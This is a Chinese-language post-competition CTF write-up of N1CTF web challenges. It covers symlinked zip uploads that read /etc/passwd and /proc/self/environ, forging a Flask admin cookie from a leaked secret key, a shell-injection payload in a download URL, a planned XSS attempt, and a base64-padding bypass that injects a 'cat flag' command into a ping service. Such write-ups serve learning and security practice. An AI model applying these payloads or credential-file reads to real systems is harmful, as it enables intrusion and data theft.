n1-ctf-赛后复现

  • ~33.23K 字

online_unzipper(100%)

1.打软连接
┌──(swordreforge㉿swordreforge)-[]
└─$ ln /etc/passwd test
┌──(swordreforge㉿swordreforge)-[
]
└─$ zip –symlinks test.zip passwd

1
2
3
以下方法可获得:env
ln /proc/self/environ test这是链接系统运行时的环境变量
zip --symlinks test.zip passwd

正常上传,下载
这样就会下载到文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
CTF_GO_PORT_1235_TCP_PROTO=tcp
BLUEHATCUP_LANDING_PORT_80_TCP=tcp://192.168.61.162:80
CONSOLE_WEB_PORT=tcp://192.168.136.246:80CONSOLE_WEB_SERVICE_PORT=80
CTF_GO_SERVICE_HOST=192.168.209.132
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://192.168.0.1:443
GATEWAY_PORT_3000_TCP_PORT=3000
GATEWAY_PORT_3000_TCP_PROTO=tcp
HOSTNAME=t87281457269073132-comp-online-unziper-92938884492584244
vm87xBOSS_WEB_PORT_80_TCP_ADDR=192.168.46.124
CTF_EXPOSED_SERVICE_PORT=1236
CTF_EXPOSED_PORT=tcp://192.168.111.190:1236
CTF_DASHBOARD_PORT_80_TCP_ADDR=192.168.197.106
GATEWAY_SERVICE_PORT_HTTP=3000
CTF_EXPOSED_PORT_1236_TCP=tcp://192.168.111.190:1236
PORTAL_WEB_PORT_80_TCP=tcp://192.168.231.235:80
CTF_EXPOSED_SERVICE_PORT_TCP_1236=1236
CONSOLE_WEB_PORT_80_TCP_ADDR=192.168.136.246
HOME=/root
BOSS_WEB_PORT_80_TCP_PORT=80
BLUEHATCUP_LANDING_SERVICE_PORT_HTTP=80
CTF_GO_PORT_1234_TCP=tcp://192.168.209.132:1234
CTF_GO_PORT_1235_TCP=tcp://192.168.209.132:1235
CTF_DASHBOARD_PORT_80_TCP_PORT=80BOSS_WEB_PORT_80_TCP_PROTO=tcp
CTF_GO_SERVICE_PORT=1234
CTF_GO_PORT=tcp://192.168.209.132:1234
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
CTF_DASHBOARD_PORT_80_TCP_PROTO=tcp
CONSOLE_WEB_PORT_80_TCP_PORT=80
CONSOLE_WEB_PORT_80_TCP_PROTO=tcp
PYTHON_SHA256=8fb5f9fbc7609fa822cb31549884575db7fd9657cbffb89510b5d7975963a83a
GATEWAY_PORT_3000_TCP=tcp://192.168.221.45:3000
BOSS_PORT_3000_TCP_ADDR=192.168.145.210
PORTAL_WEB_SERVICE_PORT_HTTP=80
GATEWAY_SERVICE_HOST=192.168.221.45
BLUEHATCUP_LANDING_SERVICE_HOST=192.168.61.162
FLASK_APP=app.py
BOSS_PORT_3000_TCP_PORT=3000
BOSS_WEB_PORT_80_TCP=tcp://192.168.46.124:80
BOSS_PORT_3000_TCP_PROTO=tcp
CTF_DASHBOARD_PORT_80_TCP=tcp://192.168.197.106:80
CONSOLE_WEB_PORT_80_TCP=tcp://192.168.136.246:80
FLASK_RUN_HOST=0.0.0.0
PORTAL_WEB_SERVICE_HOST=192.168.231.235
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
GATEWAY_PORT=tcp://192.168.221.45:3000
GATEWAY_SERVICE_PORT=3000
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CLOUDPILOT_PORT_8000_TCP_ADDR=192.168.213.82
BLUEHATCUP_LANDING_SERVICE_PORT=80
BLUEHATCUP_LANDING_PORT=tcp://192.168.61.162:80
KUBERNETES_PORT_443_TCP_PORT=443
BOSS_WEB_SERVICE_PORT_HTTP=80
KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8
CLOUDPILOT_PORT_8000_TCP_PORT=8000
BOSS_PORT_3000_TCP=tcp://192.168.145.210:3000
CTF_DASHBOARD_SERVICE_PORT_HTTP=80
CONSOLE_WEB_SERVICE_PORT_HTTP=80
BOSS_SERVICE_HOST=192.168.145.210
CLOUDPILOT_PORT_8000_TCP_PROTO=tcp
FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!
PORTAL_WEB_SERVICE_PORT=80
PORTAL_WEB_PORT=tcp://192.168.231.235:80
BLUEHATCUP_LANDING_PORT_80_TCP_ADDR=192.168.61.162
PYTHON_VERSION=3.11.13
CTF_GO_SERVICE_PORT_FRONT=1235
CLOUDPILOT_SERVICE_HOST=192.168.213.82
BOSS_WEB_SERVICE_HOST=192.168.46.124
BLUEHATCUP_LANDING_PORT_80_TCP_PORT=80
KUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443
BLUEHATCUP_LANDING_PORT_80_TCP_PROTO=tcp
CTF_DASHBOARD_SERVICE_HOST=192.168.197.106
KUBERNETES_SERVICE_PORT_HTTPS=443
BOSS_PORT=tcp://192.168.145.210:3000
PORTAL_WEB_PORT_80_TCP_ADDR=192.168.231.235
BOSS_SERVICE_PORT=3000
CTF_EXPOSED_PORT_1236_TCP_ADDR=192.168.111.190
CONSOLE_WEB_SERVICE_HOST=192.168.136.246
KUBERNETES_SERVICE_HOST=192.168.0.1
CLOUDPILOT_PORT_8000_TCP=tcp://192.168.213.82:8000
PWD=/app
CTF_GO_PORT_1234_TCP_ADDR=192.168.209.132
CTF_GO_PORT_1235_TCP_ADDR=192.168.209.132
PORTAL_WEB_PORT_80_TCP_PORT=80
CTF_EXPOSED_PORT_1236_TCP_PORT=1236
CTF_GO_SERVICE_PORT_ADMIN=1234
CLOUDPILOT_SERVICE_PORT=8000
CTF_EXPOSED_PORT_1236_TCP_PROTO=tcp
PORTAL_WEB_PORT_80_TCP_PROTO=tcp
CTF_EXPOSED_SERVICE_HOST=192.168.111.190
CLOUDPILOT_PORT=tcp://192.168.213.82:8000
BOSS_WEB_PORT=tcp://192.168.46.124:80
CLOUDPILOT_SERVICE_PORT_API=8000
BOSS_WEB_SERVICE_PORT=80
CTF_GO_PORT_1234_TCP_PORT=1234
BOSS_SERVICE_PORT_WEB=3000
FLAG=
CTF_GO_PORT_1234_TCP_PROTO=
tcpGATEWAY_PORT_3000_TCP_ADDR=192.168.221.45
CTF_GO_PORT_1235_TCP_PORT=1235
CTF_DASHBOARD_SERVICE_PORT=80
CTF_DASHBOARD_PORT=tcp://192.168.197.106:80

改一下session
┌──(swordreforge㉿swordreforge)-[~]
└─$ flask-unsign –sign –cookie “{‘role’: ‘admin’, ‘username’: ‘admin’}” –secret “ #mu0cw9F#7bBCoF! “
eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.aMUxug.GBoGLOiK_gczxw0482xAgoacOBo

2.命令注入
用不了,按理说参数可控,可以多行命令执行的但为何无文件
有了
http://60.205.163.215:31788/download/4
http://60.205.163.215:31788/download/5;`cat /f* > /app/uploads/4/4.txt`;
flag{a3c268c2-ad5d-4117-a195-e0dfed1fd3ec}

1

unfinished(60%)

1.赛时思路

使用了httponly=True->不可使用cookie带出(根据赛后复现该项为httpOlny=True会造成非预期),flag在cookie中->多半是xss or csrf
这样就易于想到:

1
2
找到xss路由->本地可访问->http://127.0.0.1:5000/api/bio/a->漏洞利用

大致思路:填充路径->/profile
机器访问路径 ->/api/bio/你登陆的用户名(注:本地可访问/触发xss)ban了但没全ban
触发机器路径->/view
逻辑验证:
为了更方便查看,修改了有关无头浏览器的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os
import logging
from datetime import datetime

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('bot_monitor.log'),
logging.StreamHandler()
]
)
logger = logging.getLogger('BotMonitor')

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio

admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
print(admin_password)
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))

USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)

@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')
logger.info(f"Bot started visiting URL: {url}")
logger.info(f"Bot flag value: {flag_value}")

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
logger.info("Browser launched successfully")

context = browser.new_context()
logger.info("New browser context created")

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])
logger.info("Flag cookie added to browser context")

page = context.new_page()
logger.info("New page created")

# 记录登录过程
logger.info("Navigating to login page")
page.goto("http://localhost/login", timeout=5000)
logger.info("Login page loaded")

page.fill("input[name='username']", "admin")
logger.info("Filled admin username")

page.fill("input[name='password']", admin_password)
logger.info("Filled admin password")

page.click("input[name='submit']")
logger.info("Clicked submit button")

page.wait_for_timeout(3000)
logger.info("Waited for login to complete")

# 记录访问目标URL
logger.info(f"Navigating to target URL: {url}")
page.goto(url, timeout=5000)
logger.info("Target URL loaded")

page.wait_for_timeout(5000)
logger.info("Waited for page to fully load")

browser.close()
logger.info("Browser closed successfully")

logger.info(f"Bot successfully visited URL: {url}")

except Exception as e:
logger.error(f"Bot error occurred: {str(e)}")
print(f"Bot error: {str(e)}")

if __name__ == "__main__":
logger.info("Application started")
app.run(host='0.0.0.0', port=5000)

xss:
/api/bio/a
2
/profile
3
/view
日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2025-09-15 00:01:21,751 - werkzeug - INFO - 127.0.0.1 - - [15/Sep/2025 00:01:21] "GET / HTTP/1.1" 200 -
2025-09-15 00:01:21,767 - werkzeug - INFO - 127.0.0.1 - - [15/Sep/2025 00:01:21] "GET /static/css/style.css HTTP/1.1" 304 -
2025-09-15 00:01:21,768 - werkzeug - INFO - 127.0.0.1 - - [15/Sep/2025 00:01:21] "GET /static/js/script.js HTTP/1.1" 304 -
2025-09-15 00:01:32,471 - BotMonitor - INFO - Bot started visiting URL: http://localhost/api/bio/a
2025-09-15 00:01:32,471 - BotMonitor - INFO - Bot flag value: flag{fake}
2025-09-15 00:01:32,664 - BotMonitor - INFO - Browser launched successfully
2025-09-15 00:01:32,669 - BotMonitor - INFO - New browser context created
2025-09-15 00:01:32,708 - BotMonitor - INFO - Flag cookie added to browser context
2025-09-15 00:01:32,732 - BotMonitor - INFO - New page created
2025-09-15 00:01:32,732 - BotMonitor - INFO - Navigating to login page
2025-09-15 00:01:32,744 - BotMonitor - INFO - Login page loaded
2025-09-15 00:02:02,766 - BotMonitor - ERROR - Bot error occurred: Page.fill: Timeout 30000ms exceeded.
Call log:
waiting for locator("input[name='username']")

Bot error: Page.fill: Timeout 30000ms exceeded.
Call log:
waiting for locator("input[name='username']")

2025-09-15 00:02:02,768 - werkzeug - INFO - 127.0.0.1 - - [15/Sep/2025 00:02:02] "GET /view HTTP/1.1" 200 -

所以我们要在服务器上开一个日志服务器,用于接收详细的请求信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, request
import logging
from datetime import datetime
app = Flask(__name__)
# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
@app.before_request
def before_request():
request.start_time = datetime.now()
http://logging.info(f'Request started: {request.method} {request.url}')
@app.after_request
def after_request(response):
duration = datetime.now() - request.start_time
http://logging.info(f'Request completed in {duration.total_seconds()}s with status {response.status_code}')
return response
@app.before_request
@app.after_request
app.route("/"):
def index():
return "visited!"
if __name__ == '__main__':
app.run(debug=True)

以上为理论,具体复现后续再做

2.赛后复现

1.大致思路同上
2.不同点

ping(100%)

1.赛时思考

感觉是绕waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

赛后复现

在python base64解码时,会出现解码不一致情况,这是因为最后的==会是为视为编码的结束点,而终端会直接解码从而造成命令执行

1
2
3
4
5
6
7
8
9
10
11
┌──(swordreforge㉿swordreforge)-[~]
└─$ echo "MTE0NTE0O2xzIA==" | base64 -d | sh
sh: 1: 114514: not found
公共 jwt-cracker-4.1.1
模板 jython-standalone-
视频 laravel5.1
图片 laravel-7.3.0
文档 laravel-test
下载
音乐 PhpstormProjects
桌面 project
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(swordreforge㉿swordreforge)-[~]
└─$ python
Python 3.8.0 (default, Sep 5 2025, 19:53:31)
[GCC 14.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode("MTE0NTE0")
b'114514'
>>>
#1145141;`ls`
base64.b64decode("MTE0NTE0MQ==O2Bsc2Ag")
b'1145141'#跳过了==后的内容正则会忽略
>>>

因此:

1
分别加密两侧,要求第一个padding必须有==
1
2
3
4
5
6
7
8
9
10
11
12
POST /ping HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 40
sec-ch-ua-platform: "Linux"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"ip_base64":"MS4xLjEuMQ==O2NhdCBmbGFn"}
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.0
Date: Mon, 15 Sep 2025 09:11:51 GMT
Content-Type: application/json
Content-Length: 292
Connection: close

{"output":"PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.\n64 bytes from 1.1.1.1: icmp_seq=1 ttl=52 time=259 ms\n\n--- 1.1.1.1 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev = 258.813/258.813/258.813/0.000 ms\nflag{test}","success":true}

Peek a Fork(30%)

没搞懂,socket在干啥??
十分的pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
55f0310e0000-55f0310e1000 r--p 00000000 fe:00 10497236                   /home/swordreforge/.pyenv/versions/3.8.0/bin/python3.8
55f0310e1000-55f0310e2000 r-xp 00001000 fe:00 10497236 /home/swordreforge/.pyenv/versions/3.8.0/bin/python3.8
55f0310e2000-55f0310e3000 r--p 00002000 fe:00 10497236 /home/swordreforge/.pyenv/versions/3.8.0/bin/python3.8
55f0310e3000-55f0310e4000 r--p 00002000 fe:00 10497236 /home/swordreforge/.pyenv/versions/3.8.0/bin/python3.8
55f0310e4000-55f0310e5000 rw-p 00003000 fe:00 10497236 /home/swordreforge/.pyenv/versions/3.8.0/bin/python3.8
55f067df1000-55f067f1d000 rw-p 00000000 00:00 0 [heap]
7fef24ced000-7fef24cef000 r--p 00000000 fe:00 10504887 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/mmap.cpython-38-x86_64-linux-gnu.so
7fef24cef000-7fef24cf2000 r-xp 00002000 fe:00 10504887 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/mmap.cpython-38-x86_64-linux-gnu.so
7fef24cf2000-7fef24cf4000 r--p 00005000 fe:00 10504887 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/mmap.cpython-38-x86_64-linux-gnu.so
7fef24cf4000-7fef24cf5000 r--p 00006000 fe:00 10504887 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/mmap.cpython-38-x86_64-linux-gnu.so
7fef24cf5000-7fef24cf6000 rw-p 00007000 fe:00 10504887 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/mmap.cpython-38-x86_64-linux-gnu.so
7fef24cf6000-7fef24d36000 rw-p 00000000 00:00 0
7fef24d36000-7fef24d3b000 r--p 00000000 fe:00 45380399 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fef24d3b000-7fef24dea000 r-xp 00005000 fe:00 45380399 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fef24dea000-7fef24dfe000 r--p 000b4000 fe:00 45380399 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fef24dfe000-7fef24dff000 r--p 000c8000 fe:00 45380399 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fef24dff000-7fef24e00000 rw-p 000c9000 fe:00 45380399 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fef24e00000-7fef24ef7000 r--p 00000000 fe:00 45425126 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fef24ef7000-7fef25278000 r-xp 000f7000 fe:00 45425126 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fef25278000-7fef253af000 r--p 00478000 fe:00 45425126 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fef253af000-7fef25432000 r--p 005ae000 fe:00 45425126 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fef25432000-7fef25435000 rw-p 00631000 fe:00 45425126 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fef25435000-7fef25438000 rw-p 00000000 00:00 0
7fef25440000-7fef25441000 r--p 00000000 fe:00 10504897 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/fcntl.cpython-38-x86_64-linux-gnu.so
7fef25441000-7fef25443000 r-xp 00001000 fe:00 10504897 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/fcntl.cpython-38-x86_64-linux-gnu.so
7fef25443000-7fef25445000 r--p 00003000 fe:00 10504897 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/fcntl.cpython-38-x86_64-linux-gnu.so
7fef25445000-7fef25446000 r--p 00004000 fe:00 10504897 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/fcntl.cpython-38-x86_64-linux-gnu.so
7fef25446000-7fef25447000 rw-p 00005000 fe:00 10504897 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/fcntl.cpython-38-x86_64-linux-gnu.so
7fef25447000-7fef25449000 r--p 00000000 fe:00 10504836 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
7fef25449000-7fef2545e000 r-xp 00002000 fe:00 10504836 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
7fef2545e000-7fef25460000 r--p 00017000 fe:00 10504836 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
7fef25460000-7fef25461000 r--p 00018000 fe:00 10504836 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
7fef25461000-7fef25462000 rw-p 00019000 fe:00 10504836 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
7fef25462000-7fef25464000 r--p 00000000 fe:00 10504847 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
7fef25464000-7fef2546b000 r-xp 00002000 fe:00 10504847 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
7fef2546b000-7fef2546d000 r--p 00009000 fe:00 10504847 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
7fef2546d000-7fef2546e000 r--p 0000a000 fe:00 10504847 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
7fef2546e000-7fef2546f000 rw-p 0000b000 fe:00 10504847 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
7fef2546f000-7fef25472000 r--p 00000000 fe:00 45353345 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fef25472000-7fef25486000 r-xp 00003000 fe:00 45353345 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fef25486000-7fef2548d000 r--p 00017000 fe:00 45353345 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fef2548d000-7fef2548e000 r--p 0001d000 fe:00 45353345 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fef2548e000-7fef2548f000 rw-p 0001e000 fe:00 45353345 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fef25492000-7fef25499000 r--p 00000000 fe:00 45351292 /usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so
7fef25499000-7fef254aa000 r-xp 00007000 fe:00 45351292 /usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so
7fef254aa000-7fef254b0000 r--p 00018000 fe:00 45351292 /usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so
7fef254b0000-7fef254b5000 r--p 0001d000 fe:00 45351292 /usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so
7fef254b5000-7fef254b6000 rw-p 00022000 fe:00 45351292 /usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so
7fef254b6000-7fef254b9000 r--p 00000000 fe:00 10504875 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
7fef254b9000-7fef254bd000 r-xp 00003000 fe:00 10504875 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
7fef254bd000-7fef254bf000 r--p 00007000 fe:00 10504875 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
7fef254bf000-7fef254c0000 r--p 00008000 fe:00 10504875 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
7fef254c0000-7fef254c1000 rw-p 00009000 fe:00 10504875 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
7fef254c1000-7fef25501000 rw-p 00000000 00:00 0
7fef25501000-7fef25503000 r--p 00000000 fe:00 10504889 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
7fef25503000-7fef25506000 r-xp 00002000 fe:00 10504889 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
7fef25506000-7fef25508000 r--p 00005000 fe:00 10504889 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
7fef25508000-7fef25509000 r--p 00006000 fe:00 10504889 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
7fef25509000-7fef2550a000 rw-p 00007000 fe:00 10504889 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
7fef2550a000-7fef2550d000 r--p 00000000 fe:00 10504874 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
7fef2550d000-7fef25515000 r-xp 00003000 fe:00 10504874 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
7fef25515000-7fef25519000 r--p 0000b000 fe:00 10504874 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
7fef25519000-7fef2551a000 r--p 0000e000 fe:00 10504874 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
7fef2551a000-7fef2551b000 rw-p 0000f000 fe:00 10504874 /home/swordreforge/.pyenv/versions/3.8.0/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
7fef2551b000-7fef256c0000 rw-p 00000000 00:00 0
7fef256c0000-7fef2571a000 r--p 00000000 fe:00 46036259 /usr/lib/locale/yue_HK/LC_CTYPE
7fef2571a000-7fef2572b000 r--p 00000000 fe:00 45358791 /usr/lib/x86_64-linux-gnu/libm.so.6
7fef2572b000-7fef257a8000 r-xp 00011000 fe:00 45358791 /usr/lib/x86_64-linux-gnu/libm.so.6
7fef257a8000-7fef25808000 r--p 0008e000 fe:00 45358791 /usr/lib/x86_64-linux-gnu/libm.so.6
7fef25808000-7fef25809000 r--p 000ed000 fe:00 45358791 /usr/lib/x86_64-linux-gnu/libm.so.6
7fef25809000-7fef2580a000 rw-p 000ee000 fe:00 45358791 /usr/lib/x86_64-linux-gnu/libm.so.6
7fef2580a000-7fef25832000 r--p 00000000 fe:00 45358788 /usr/lib/x86_64-linux-gnu/libc.so.6
7fef25832000-7fef25997000 r-xp 00028000 fe:00 45358788 /usr/lib/x86_64-linux-gnu/libc.so.6
7fef25997000-7fef259ed000 r--p 0018d000 fe:00 45358788 /usr/lib/x86_64-linux-gnu/libc.so.6
7fef259ed000-7fef259f1000 r--p 001e2000 fe:00 45358788 /usr/lib/x86_64-linux-gnu/libc.so.6
